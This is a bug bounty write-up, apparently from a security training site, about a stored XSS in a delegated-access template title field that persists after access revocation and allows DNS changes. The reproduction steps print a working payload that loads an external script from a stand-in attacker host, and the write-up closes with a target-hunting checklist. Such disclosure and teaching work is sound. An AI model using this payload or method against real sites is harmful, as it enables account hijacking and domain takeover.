Quick answer
A template title field looks harmless, but if it reaches the DOM without sanitization and it's written by someone with delegated access to the account, it turns into persistent Stored XSS. In the documented real case, the payload survived the revocation of access and let you modify DNS records from the victim's session. Bounty: €1,200.
The scenario: delegated access as an entry vector
The vulnerable platform had an Access Manager feature: a user could invite another to manage their account. When access was granted, the invitee operated under the account owner's context, with access to administrative tools (including domain configuration).
The problem is that this trust flow didn't come with restrictions on what the invitee could write into seemingly innocuous fields. The template title field accepted and stored HTML without any sanitization. Nobody reviewed that input because "it's just a name".
The two chained flaws
1. Missing sanitization in the title field
The template title field renders its content directly in the DOM when the template is edited or duplicated. There's no HTML entity encoding, no effective CSP to block inline execution, and the field value is inserted in a context where event attributes are evaluated by the browser.
2. Payload persistence after revoking access
Once the payload is stored, the malicious script is bound to the template, not to the user who injected it. Revoking the attacker's access doesn't remove the code. Every time the owner opens or duplicates that template, the payload keeps executing, in their session, with their credentials.
Steps to reproduce
Prerequisite: the attacker has requested access to the victim's account through the Access Manager and the owner has granted it.
- From the delegated session, navigate to the Templates module.
- Create a new template.
- In the Title field, inject the following payload:
<img src="x" onerror="var s=document.createElement('script');s.src='https://attacker.tld/payload.js';document.body.appendChild(s)">
- Save the template.
- Duplicate the template you just created.
- Click Edit on the copy.
- The external script loads and executes automatically in the account owner's session.
The payload loads an external script controlled by the attacker, which allows updating it at any time without touching the template again.
Root cause analysis
The technical cause is simple: the backend stores the field value without passing it through any escape function, and the frontend renders it directly into the DOM. The execution context (an authenticated session with permissions over domain configuration) is what turns an ordinary XSS into something with real impact.
Attacker with delegated access
↓ Creates a template with an XSS payload in the title
POST /templates → unsanitized title
↓ Stored in the DB as-is
Database (persisted payload)
↓ Victim opens/duplicates the template
The DOM evaluates the onerror attribute
↓ Loads the external script
Executes in the victim's authenticated session
↓
Modify DNS records → Domain takeover
Impact
The script executes inside the victim's authenticated session, which means it can:
- Make API calls with the active session's credentials
- Modify the configuration of domains linked to the account
- Add or change DNS records (A, CNAME, MX, TXT)
- Add malicious records pointing to the attacker's infrastructure
The domain takeover scenario is direct: add a record that delegates resolution to servers controlled by the attacker, intercept traffic or take control of services tied to the domain.
What to hunt for in similar targets
When a target has a delegated access or impersonation system (agencies, collaborators, subaccounts), the attack surface multiplies: you have to review all the input fields accessible from that secondary session, especially the ones that look merely descriptive.
- Name or title fields in resources like templates, campaigns, workflows or projects.
- Is the value rendered anywhere in the DOM without going through
textContent? - Does the backend apply sanitization, or does it simply store and return the raw value?
- What happens when the resource is duplicated? Sometimes the copy relaxes the original's validations.
- Check whether the payload survives an access revocation — if so, the attacker's temporary impact extends indefinitely.
XSS in name fields is almost always of low technical difficulty, but when it lands in a context with privileges over critical infrastructure (domains, DNS, billing), the payout and the real impact are proportional to the potential damage.
Related labs
Practice this kind of Stored XSS in real scenarios with delegated access and administrative fields: XSS labs.
Practice this in a lab
Xss
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Stored XSS €1200 — sanitizer bypass via SVG href javascript: with entity encoding
Walkthrough of a real €1200 report: stored XSS in POE bypassing a sanitizer fix via SVG with href=`javascript:` and HTML entity encoding over the filtered characters.
Stored XSS via SVG with href javascript: in chat — reclassification of Self-XSS
An SVG payload uploaded as an attachment. Filter bypassed. Rendered inline in the main context. Any chat participant is exposed on click.
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.